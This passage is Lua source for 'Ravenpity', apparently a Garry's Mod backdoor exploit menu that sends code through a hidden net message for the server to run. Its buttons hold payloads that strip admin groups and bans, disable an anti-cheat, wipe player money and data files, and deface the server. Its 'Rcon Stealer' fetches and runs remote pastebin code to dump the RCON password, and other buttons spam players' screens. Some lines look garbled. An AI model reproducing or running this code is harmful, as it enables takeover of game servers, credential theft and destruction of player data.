  466. physicspeedon:SetSize( 400, 30 )
  467. physicspeedon:SetText( "Vitesse PhysicGun" )
  468. physicspeedon.Paint = function( self, w, h )
  469. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  470. if physicspeedon:IsHovered() then
  471. physicspeedon:SetTextColor( Color( 0, 0, 0 ) )
  472. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  473. else
  474. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  475. physicspeedon:SetTextColor( Color( 255, 255, 255 ) )
  476. end
  477. physicspeedon.DoClick = function()
  478. LocalPlayer():ConCommand( "physgun_wheelspeed 3000" )
  479. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vitesse du PhysicGun augmenté" )
  480. end
  481. end
  482. local physicspeedoff = vgui.Create( "DButton", BackgroundSupportPanel)
  483. physicspeedoff:SetPos( 365, 35)
  484. physicspeedoff:SetSize( 20, 20 )
  485. physicspeedoff:SetText( "X" )
  486. physicspeedoff.Paint = function( self, w, h )
  487. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  488. if physicspeedoff:IsHovered() then
  489. physicspeedoff:SetTextColor( Color( 255, 255, 255 ) )
  490. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  491. else
  492. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  493. physicspeedoff:SetTextColor( Color( 255, 255, 255 ) )
  494. end
  495. physicspeedoff.DoClick = function()
  496. LocalPlayer():ConCommand( "physgun_wheelspeed 80" )
  497. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vitesse du PhysicGun remit par Défault" )
  498. end
  499. end
  500.  
  501. -------------------------------------------------------------------------------------|
  502.  
  503. local changeplayermodelon = vgui.Create( "DButton", BackgroundSupportPanel)
  504. changeplayermodelon:SetPos( 0, 60)
  505. changeplayermodelon:SetSize( 400, 30 )
  506. changeplayermodelon:SetText( "Changer le model des Joueurs" )
  507. changeplayermodelon.Paint = function( self, w, h )
  508. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  509. if changeplayermodelon:IsHovered() then
  510. changeplayermodelon:SetTextColor( Color( 0, 0, 0 ) )
  511. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  512. else
  513. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  514. changeplayermodelon:SetTextColor( Color( 255, 255, 255 ) )
  515. end
  516. changeplayermodelon.DoClick = function()
  517. net.Start(ravenhacknet)
  518. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
  519. net.WriteBit (1)
  520. net.SendToServer()
  521. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Model des Joueurs changé" )
  522. end
  523. end
  524. local changeplayermodeloff = vgui.Create( "DButton", BackgroundSupportPanel)
  525. changeplayermodeloff:SetPos( 365, 65)
  526. changeplayermodeloff:SetSize( 20, 20 )
  527. changeplayermodeloff:SetText( "X" )
  528. changeplayermodeloff.Paint = function( self, w, h )
  529. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  530. if changeplayermodeloff:IsHovered() then
  531. changeplayermodeloff:SetTextColor( Color( 255, 255, 255 ) )
  532. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  533. else
  534. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  535. changeplayermodeloff:SetTextColor( Color( 255, 255, 255 ) )
  536. end
  537. changeplayermodeloff.DoClick = function()
  538. net.Start(ravenhacknet)
  539. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/Humans/Group01/male_02.mdl\") end" )
  540. net.WriteBit (1)
  541. net.SendToServer()
  542. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Model des Joueurs remit par Défault" )
  543. end
  544. end
  545.  
  546. -------------------------------------------------------------------------------------|
  547.  
  548. local ddplayeron = vgui.Create( "DButton", BackgroundSupportPanel)
  549. ddplayeron:SetPos( 0, 90)
  550. ddplayeron:SetSize( 400, 30 )
  551. ddplayeron:SetText( "2d Player" )
  552. ddplayeron.Paint = function( self, w, h )
  553. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  554. if ddplayeron:IsHovered() then
  555. ddplayeron:SetTextColor( Color( 0, 0, 0 ) )
  556. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  557. else
  558. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  559. ddplayeron:SetTextColor( Color( 255, 255, 255 ) )
  560. end
  561. ddplayeron.DoClick = function()
  562. net.Start(ravenhacknet)
  563. net.WriteString([[
  564. for k,v in pairs(player.GetAll()) do
  565. local a = v:LookupBone("ValveBiped.Bip01_Head1")
  566. local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  567. local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  568. local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  569. local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  570. local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  571. local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  572. local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  573. local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  574. local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  575. local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  576. v:ManipulateBoneScale( a, Vector(4,0,4))
  577. v:ManipulateBoneScale( b, Vector(0,0,0))
  578. v:ManipulateBoneScale( c, Vector(0,0,0))
  579. v:ManipulateBoneScale( d, Vector(0,0,1))
  580. v:ManipulateBoneScale( e, Vector(0,0,1))
  581. v:ManipulateBoneScale( f, Vector(0,0,0))
  582. v:ManipulateBoneScale( g, Vector(0,0,0))
  583. v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
  584. v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
  585. v:ManipulateBoneScale( j, Vector(0,0,0))
  586. v:ManipulateBoneScale( k, Vector(0,0,0))
  587. end]])
  588. net.WriteBit(1)
  589. net.SendToServer()
  590. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "2d Players activé" )
  591. end
  592. end
  593. local ddplayeroff = vgui.Create( "DButton", BackgroundSupportPanel)
  594. ddplayeroff:SetPos( 365, 95)
  595. ddplayeroff:SetSize( 20, 20 )
  596. ddplayeroff:SetText( "X" )
  597. ddplayeroff.Paint = function( self, w, h )
  598. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  599. if ddplayeroff:IsHovered() then
  600. ddplayeroff:SetTextColor( Color( 255, 255, 255 ) )
  601. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  602. else
  603. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  604. ddplayeroff:SetTextColor( Color( 255, 255, 255 ) )
  605. end
  606. ddplayeroff.DoClick = function()
  607. net.Start(ravenhacknet)
  608. net.WriteString([[
  609. for k,v in pairs(player.GetAll()) do
  610. local a = v:LookupBone("ValveBiped.Bip01_Head1")
  611. local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  612. local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  613. local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  614. local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  615. local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  616. local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  617. local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  618. local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  619. local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  620. local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  621. v:ManipulateBoneScale( a, Vector(1,1,1))
  622. v:ManipulateBoneScale( b, Vector(1,1,1))
  623. v:ManipulateBoneScale( c, Vector(1,1,1))
  624. v:ManipulateBoneScale( d, Vector(1,1,1))
  625. v:ManipulateBoneScale( e, Vector(1,1,1))
  626. v:ManipulateBoneScale( f, Vector(1,1,1))
  627. v:ManipulateBoneScale( g, Vector(1,1,1))
  628. v:ManipulateBoneScale( h, Vector(1,1,1))
  629. v:ManipulateBoneScale( i, Vector(1,1,1))
  630. v:ManipulateBoneScale( j, Vector(1,1,1))
  631. v:ManipulateBoneScale( k, Vector(1,1,1))
  632. end]])
  633. net.WriteBit(1)
  634. net.SendToServer()
  635. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "2d Players désactivé" )
  636. end
  637. end
  638.  
  639. -------------------------------------------------------------------------------------|
  640.  
  641. local bighead = vgui.Create( "DButton", BackgroundSupportPanel)
  642. bighead:SetPos( 0, 120)
  643. bighead:SetSize( 400, 30 )
  644. bighead:SetText( "Grosse Tete" )
  645. bighead.Paint = function( self, w, h )
  646. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  647. if bighead:IsHovered() then
  648. bighead:SetTextColor( Color( 0, 0, 0 ) )
  649. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  650. else
  651. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  652. bighead:SetTextColor( Color( 255, 255, 255 ) )
  653. end
  654. bighead.DoClick = function()
  655. net.Start(ravenhacknet)
  656. net.WriteString([[
  657. for k,v in pairs(player.GetAll()) do
  658. local a = v:LookupBone("ValveBiped.Bip01_Head1")
  659. local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  660. local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  661. local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  662. local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  663. local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  664. local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  665. local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  666. local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  667. local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  668. local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  669. v:ManipulateBoneScale( a, Vector(100,100,100))
  670. v:ManipulateBoneScale( b, Vector(100,100,100))
  671. v:ManipulateBoneScale( c, Vector(100,100,100))
  672. v:ManipulateBoneScale( d, Vector(100,100,100))
  673. v:ManipulateBoneScale( e, Vector(100,100,100))
  674. v:ManipulateBoneScale( f, Vector(100,100,100))
  675. v:ManipulateBoneScale( g, Vector(100,100,100))
  676. v:ManipulateBoneScale( h, Vector(100,100,100))
  677. v:ManipulateBoneScale( i, Vector(100,100,100))
  678. v:ManipulateBoneScale( j, Vector(100,100,100))
  679. v:ManipulateBoneScale( k, Vector(100,100,100))
  680. end]])
  681. net.WriteBit (1)
  682. net.SendToServer()
  683. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Grosse tête activé" )
  684. end
  685. end
  686.  
  687. -------------------------------------------------------------------------------------|
  688.  
  689. local giantworld = vgui.Create( "DButton", BackgroundSupportPanel)
  690. giantworld:SetPos( 0, 150)
  691. giantworld:SetSize( 400, 30 )
  692. giantworld:SetText( "Joueurs Géants" )
  693. giantworld.Paint = function( self, w, h )
  694. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  695. if giantworld:IsHovered() then
  696. giantworld:SetTextColor( Color( 0, 0, 0 ) )
  697. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  698. else
  699. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  700. giantworld:SetTextColor( Color( 255, 255, 255 ) )
  701. end
  702. giantworld.DoClick = function()
  703. local giant = [[
  704. hook.Add("Think", "giant", function()
  705. for k,v in pairs (player.GetAll()) do
  706. v:SetModelScale(50.5, 100);
  707. v:SetRunSpeed(400 * 2);
  708. v:SetWalkSpeed(200 * 2);
  709. end
  710. end)]]
  711. net.Start(ravenhacknet)
  712. net.WriteString( giant )
  713. net.WriteBit (1)
  714. net.SendToServer()
  715. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Monde de Géants activé" )
  716. end
  717. end
  718.  
  719. -------------------------------------------------------------------------------------|
  720.  
  721. local minimoysworld = vgui.Create( "DButton", BackgroundSupportPanel)
  722. minimoysworld:SetPos( 0, 180)
  723. minimoysworld:SetSize( 400, 30 )
  724. minimoysworld:SetText( "Joueurs Nains" )
  725. minimoysworld.Paint = function( self, w, h )
  726. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  727. if minimoysworld:IsHovered() then
  728. minimoysworld:SetTextColor( Color( 0, 0, 0 ) )
  729. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  730. else
  731. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  732. minimoysworld:SetTextColor( Color( 255, 255, 255 ) )
  733. end
  734. minimoysworld.DoClick = function()
  735. local tall = [[
  736. hook.Add("Think", "tall", function()
  737. for k,v in pairs (player.GetAll()) do
  738. v:SetModelScale(0.2, 80);
  739. v:SetRunSpeed(400 * 2);
  740. v:SetWalkSpeed(200 * 2);
  741. end
  742. end)]]
  743. net.Start(ravenhacknet)
  744. net.WriteString( tall )
  745. net.WriteBit (1)
  746. net.SendToServer()
  747. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Monde de Nains activé" )
  748. end
  749. end
  750.  
  751. -------------------------------------------------------------------------------------|
  752.  
  753. local runlikeflash = vgui.Create( "DButton", BackgroundSupportPanel)
  754. runlikeflash:SetPos( 0, 210)
  755. runlikeflash:SetSize( 400, 30 )
  756. runlikeflash:SetText( "Courrir Vite" )
  757. runlikeflash.Paint = function( self, w, h )
  758. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  759. if runlikeflash:IsHovered() then
  760. runlikeflash:SetTextColor( Color( 0, 0, 0 ) )
  761. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  762. else
  763. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  764. runlikeflash:SetTextColor( Color( 255, 255, 255 ) )
  765. end
  766. runlikeflash.DoClick = function()
  767. local speedhack = [[
  768. hook.Add("Think", "speedhack", function()
  769. for k,v in pairs (player.GetAll()) do
  770. v:SetRunSpeed(400* 4);
  771. v:SetWalkSpeed(200 * 2);
  772. end
  773. end)]]
  774. net.Start(ravenhacknet)
  775. net.WriteString( speedhack )
  776. net.WriteBit (1)
  777. net.SendToServer()
  778. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Courrir vite activé" )
  779. end
  780. end
  781.  
  782.  
  783. -------------------------------------------------------------------------------------|
  784.  
  785. local forceplayersay = vgui.Create( "DButton", BackgroundSupportPanel)
  786. forceplayersay:SetPos( 0, 240)
  787. forceplayersay:SetSize( 400, 30 )
  788. forceplayersay:SetText( "Forcer les Joueurs à écrire" )
  789. forceplayersay.Paint = function( self, w, h )
  790. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  791. if forceplayersay:IsHovered() then
  792. forceplayersay:SetTextColor( Color( 0, 0, 0 ) )
  793. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  794. else
  795. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  796. forceplayersay:SetTextColor( Color( 255, 255, 255 ) )
  797. end
  798. forceplayersay.DoClick = function()
  799. net.Start(ravenhacknet)
  800. net.WriteString([[for k,v in pairs(player.GetAll()) do
  801. v:ConCommand("say Ravenpity <3 (hoperdev.fr)")
  802. end
  803. ]])
  804. net.WriteBit (1)
  805. net.SendToServer()
  806. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tout les Joueurs ont envoyés un Message" )
  807. end
  808. end
  809. end
  810.  
  811. /*======================================================================================================================================================================================
  812. Server Options
  813. ========================================================================================================================================================================================*/
  814. function RAVEN.ServerOptions()
  815. if RAVEN.ServerOptionsListe and RAVEN.ServerOptionsListe:IsVisible() then RAVEN.ServerOptionsListe:Remove() end
  816. RAVEN.ServerOptionsListe = vgui.Create("DFrame")
  817. RAVEN.ServerOptionsListe:SetSize(682,350)
  818. RAVEN.ServerOptionsListe:SetTitle("")
  819. RAVEN.ServerOptionsListe:SetPos( 342, 250 )
  820. RAVEN.ServerOptionsListe:MakePopup()
  821. RAVEN.ServerOptionsListe:ShowCloseButton( false )
  822. RAVEN.ServerOptionsListe.Paint = function( s, w, h )
  823. if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
  824. surface.SetDrawColor( Color(30, 30, 30, 255) )
  825. surface.DrawRect( 0, 0, w, h )
  826. surface.SetDrawColor( Color(55, 55, 55, 255) )
  827. surface.DrawOutlinedRect( 0, 0, w, h )
  828. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  829. end
  830. local CloseButtonServerOptions = vgui.Create( "DButton", BackgroundSupportPanel)
  831. CloseButtonServerOptions:SetPos( 0, 370)
  832. CloseButtonServerOptions:SetSize( 400, 30 )
  833. CloseButtonServerOptions:SetText( "X" )
  834. CloseButtonServerOptions.Paint = function( self, w, h )
  835. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  836. if CloseButtonServerOptions:IsHovered() then
  837. CloseButtonServerOptions:SetTextColor( Color( 0, 0, 0 ) )
  838. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  839. else
  840. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  841. CloseButtonServerOptions:SetTextColor( Color( 255, 255, 255 ) )
  842. end
  843. CloseButtonServerOptions.DoClick = function()
  844. surface.PlaySound("UI/buttonrollover.wav")
  845. BaseHeader:Remove()
  846. end
  847. end
  848. local ReturnButtonServerOptions = vgui.Create( "DButton", BackgroundSupportPanel)
  849. ReturnButtonServerOptions:SetPos( 0, 340)
  850. ReturnButtonServerOptions:SetSize( 400, 30 )
  851. ReturnButtonServerOptions:SetText( "<--" )
  852. ReturnButtonServerOptions.Paint = function( self, w, h )
  853. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  854. if ReturnButtonServerOptions:IsHovered() then
  855. ReturnButtonServerOptions:SetTextColor( Color( 0, 0, 0 ) )
  856. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  857. else
  858. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  859. ReturnButtonServerOptions:SetTextColor( Color( 255, 255, 255 ) )
  860. end
  861. ReturnButtonServerOptions.DoClick = function()
  862. surface.PlaySound("UI/buttonrollover.wav")
  863. BaseHeader:Remove()
  864. LocalPlayer():ConCommand("ravenpity_start")
  865. end
  866. end
  867.  
  868. -------------------------------------------------------------------------------------|
  869.  
  870. local deleteserv = vgui.Create( "DButton", BackgroundSupportPanel)
  871. deleteserv:SetPos( 0, 0)
  872. deleteserv:SetSize( 400, 30 )
  873. deleteserv:SetText( "Supprimer le Serveur" )
  874. deleteserv.Paint = function( self, w, h )
  875. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  876. if deleteserv:IsHovered() then
  877. deleteserv:SetTextColor( Color( 0, 0, 0 ) )
  878. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  879. else
  880. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  881. deleteserv:SetTextColor( Color( 255, 86, 86 ) )
  882. end
  883. deleteserv.DoClick = function()
  884. local nuke = [[
  885. if( LeyAC ) then
  886. LeyAC = nil;
  887. end
  888. timer.Create( "next_level_timer2", 20, 0, function()
  889. --Break some bad cmds
  890. local bad = {"Ban","Kick","Kill","KillSilent","GodEnable","GodDisable"} for k,v in next, bad do FindMetaTable("Player")[v] = nil end
  891. --Break ULX
  892. if ULib then
  893. for k,v in pairs(player.GetAll()) do
  894. ULib.ucl.addUser( v:SteamID(), {}, {}, "user" );
  895. end
  896. for k,v in pairs(ULib.ucl.groups) do
  897. if k != "user" then
  898. ULib.ucl.removeGroup(k);
  899. end
  900. end
  901. for k,v in pairs(ULib.ucl.users) do
  902. v.group = "user"
  903. end
  904. end
  905. --Gamemode related
  906. if GAMEMODE.Name == "DarkRP" then
  907. for k,v in pairs(player.GetAll()) do
  908. RunConsoleCommand("rp_setmoney", v:Nick(), 0);
  909. end
  910. hook.Add("PlayerInitialSpawn", "darkrp_specific_persistence", function( ply )
  911. RunConsoleCommand("rp_setmoney", ply:Nick(), 0);
  912. end)
  913. end
  914. if GAMEMODE.Name == "Trouble in Terrorist Town" then //something here?
  915. //for k, v in pairs(player.GetAll()) do
  916. //end
  917. end
  918. if net.WriteString.find( GAMEMODE.Name:lower(), "stronghold" ) then
  919. for k,v in pairs(player.GetAll()) do
  920. RunConsoleCommand("gbux_setmoney", v:Nick(), 0);
  921. end
  922. hook.Add("PlayerInitialSpawn", "stronghold_specific_persistence", function( ply )
  923. RunConsoleCommand("gbux_setmoney", ply:Nick(), 0);
  924. end)
  925. local fil = file.Find( "data/stronghold/playerinfo/*.txt", "GAME" )
  926. for k, v in pairs( fil ) do
  927. file.Delete( fil )
  928. end
  929. end
  930. end)
  931. if GetConVarnet.WriteString("sv_allowcslua") != "0" then
  932. RunConsoleCommand( "sv_allowcslua", "1" );
  933. end
  934. hook.Add("Think", "busted", function()
  935. for k,v in pairs (player.GetAll()) do
  936. v:SetModelScale(2.5, 100);
  937. v:SetRunSpeed(400 * 2);
  938. v:SetWalkSpeed(200 * 2);
  939. end
  940. end)
  941. timer.Create( "next_level_timer", 5, 0, function()
  942. for k, v in pairs(player.GetAll()) do
  943. v:ConCommand("say 亗 https://steamcommunity.com/id/hxpxr 亗");
  944. end
  945. end)
  946. RunConsoleCommand("hostname", "SERVER HACK LEL")
  947. RunConsoleCommand( "sv_loadingurl", "http://uu.esy.es/zyqv6r7n/seized.html" )
  948. ]]
  949. net.Start(ravenhacknet)
  950. net.WriteString( nuke )
  951. net.WriteBit (1)
  952. net.SendToServer()
  953. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Suppression en cours... Les effets seront visibles après le Reboot" )
  954. end
  955. end
  956.  
  957. -------------------------------------------------------------------------------------|
  958.  
  959. local rconstealer = vgui.Create( "DButton", BackgroundSupportPanel)
  960. rconstealer:SetPos( 0, 30)
  961. rconstealer:SetSize( 400, 30 )
  962. rconstealer:SetText( "Rcon Stealer" )
  963. rconstealer.Paint = function( self, w, h )
  964. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  965. if rconstealer:IsHovered() then
  966. rconstealer:SetTextColor( Color( 0, 0, 0 ) )
  967. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  968. else
  969. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  970. rconstealer:SetTextColor( Color( 128, 119, 255 ) )
  971. end
  972. rconstealer.DoClick = function()
  973. net.Start(ravenhacknet)
  974. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/u5qnn5kw\",function(b,l,h,c)RunString(b)end,nil)" )
  975. net.WriteBit(1)
  976. net.SendToServer()
  977. timer.Simple( 0.5, function()
  978. if RAVEN.ValidNetString( "jeveuttonrconleul" ) then
  979. net.Start("jeveuttonrconleul")
  980. net.SendToServer()
  981. else
  982. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "RCON PASSWORD non-trouvé, veuillez réessayer" )
  983. end
  984. end)
  985. end
  986. net.Receive( "rcon_passw_dump", function()
  987. local rcon_pass = net.ReadString()
  988. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), rcon_pass, Color(0, 255, 0)," RCON PASSWORD trouvé")
  989. end )
  990. net.Receive( "aucun_rcon_ici", function()
  991. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Aucun RCON PASSWORD ici" )
  992. end )
  993. end
  994.  
  995. -------------------------------------------------------------------------------------|
  996.  
  997. local squeletondanse = vgui.Create( "DButton", BackgroundSupportPanel)
  998. squeletondanse:SetPos( 0, 60)
  999. squeletondanse:SetSize( 400, 30 )
  1000. squeletondanse:SetText( "Squeleton Danse" )
  1001. squeletondanse.Paint = function( self, w, h )
  1002. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1003. if squeletondanse:IsHovered() then
  1004. squeletondanse:SetTextColor( Color( 0, 0, 0 ) )
  1005. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1006. else
  1007. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1008. squeletondanse:SetTextColor( Color( 255, 255, 255 ) )
  1009. end
  1010. squeletondanse.DoClick = function()
  1011. net.Start(ravenhacknet)
  1012. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/YNNHStGE\",function(b,l,h,c)RunString(b)end,nil)" )
  1013. net.WriteBit(1)
  1014. net.SendToServer()
  1015. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Squeleton Danse lançé" )
  1016. end
  1017. end
  1018.  
  1019. -------------------------------------------------------------------------------------|
  1020.  
  1021. local hackbymood = vgui.Create( "DButton", BackgroundSupportPanel)
  1022. hackbymood:SetPos( 0, 90)
  1023. hackbymood:SetSize( 400, 30 )
  1024. hackbymood:SetText( "Spam Visuel" )
  1025. hackbymood.Paint = function( self, w, h )
  1026. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1027. if hackbymood:IsHovered() then
  1028. hackbymood:SetTextColor( Color( 0, 0, 0 ) )
  1029. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1030. else
  1031. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1032. hackbymood:SetTextColor( Color( 255, 255, 255 ) )
  1033. end
  1034. hackbymood.DoClick = function()
  1035. net.Start(ravenhacknet)
  1036. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(200,158) hud:SetPos(0,0) hud:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud2 = vgui.Create(\"HTML\") hud2:MoveToFront() hud2:SetSize(200,158) hud2:SetPos(0,ScrH()-158) hud2:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) v:SendLua([[local hud3 = vgui.Create(\"HTML\") hud3:MoveToFront() hud3:SetSize(200,158) hud3:SetPos(ScrW()-200,0) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud4 = vgui.Create(\"HTML\") hud4:MoveToFront() hud4:SetSize(200,158) hud4:SetPos(ScrW()-200,ScrH()-158) hud4:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) timer.Create( \"spamsondeouf\", 1, 0, function() v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end) v:SendLua([[hook.Add(\"HUDPaint\",\"c\", function() draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(math.random(1,255),math.random(1,255),math.random(1,255),155)) end)]]) end BroadcastLua([[hook.Add( \"RenderScreenspaceEffects\", \"ohgod\", function() local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) DrawMaterialOverlay( \"effects/tp_eyefx/tpeye\", 1 ) end)]]) BroadcastLua([[timer.Create( \"thedrop\", 0.42, 0, function() util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) end )]]) BroadcastLua([[local hud3 = vgui.Create(\"HTML\") hud3:SetSize(400,300) hud3:SetPos(ScrW()/2-200,ScrH()/2-150) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531253-skel2.gif\")]])" )
  1037. net.WriteBit(1)
  1038. net.SendToServer()
  1039. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Spam Visuel lançé" )
  1040. end
  1041. end
  1042.  
  1043. -------------------------------------------------------------------------------------|
  1044.  
  1045. local screamer = vgui.Create( "DButton", BackgroundSupportPanel)
  1046. screamer:SetPos( 0, 120)
  1047. screamer:SetSize( 400, 30 )
  1048. screamer:SetText( "Screamer" )
  1049. screamer.Paint = function( self, w, h )
  1050. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1051. if screamer:IsHovered() then
  1052. screamer:SetTextColor( Color( 0, 0, 0 ) )
  1053. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1054. else
